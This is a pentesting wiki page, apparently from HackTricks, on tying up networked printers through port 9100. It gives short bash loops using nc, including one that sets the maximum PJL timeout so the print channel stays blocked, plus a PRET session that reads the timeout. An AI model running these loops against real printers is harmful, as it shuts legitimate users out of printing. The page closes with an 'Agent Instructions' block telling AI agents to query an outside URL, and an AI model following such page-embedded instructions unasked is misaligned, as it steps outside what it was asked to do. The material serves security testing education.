# Transmission channel

<details>

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</details>

If print jobs are processed in series – which is assumed for most devices – only one job can be handled at a time. If this job does not terminate the printing channel effectively is blocked until a timeout is triggered, preventing legitimate users from printing.

Basic DoS:

```bash
while true; do nc printer 9100; done
```

This trivial denial of service attack can be improved by **setting a high timeout value with PJL**, then the number of connections for an attacker to make is minimized while it is even harder for legitimate users to gain a free time slot:

```bash
# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
  grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
```

You can use [PRET](https://github.com/RUB-NDS/PRET) to find the timeout settings:

```bash
./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
       5
       300
```

While the PJL reference specifies a maximum timeout of 300 seconds, in practice maximum PJL timeouts may range from 15 to 2147483 seconds.\
Note that even print jobs received from other printing channels like IPP or LPD are not processed anymore as long as the connection is kept open.

**Learn more about this attack in** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission_channel)

<details>

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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/network-services-pentesting/pentesting-printers/transmission-channel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
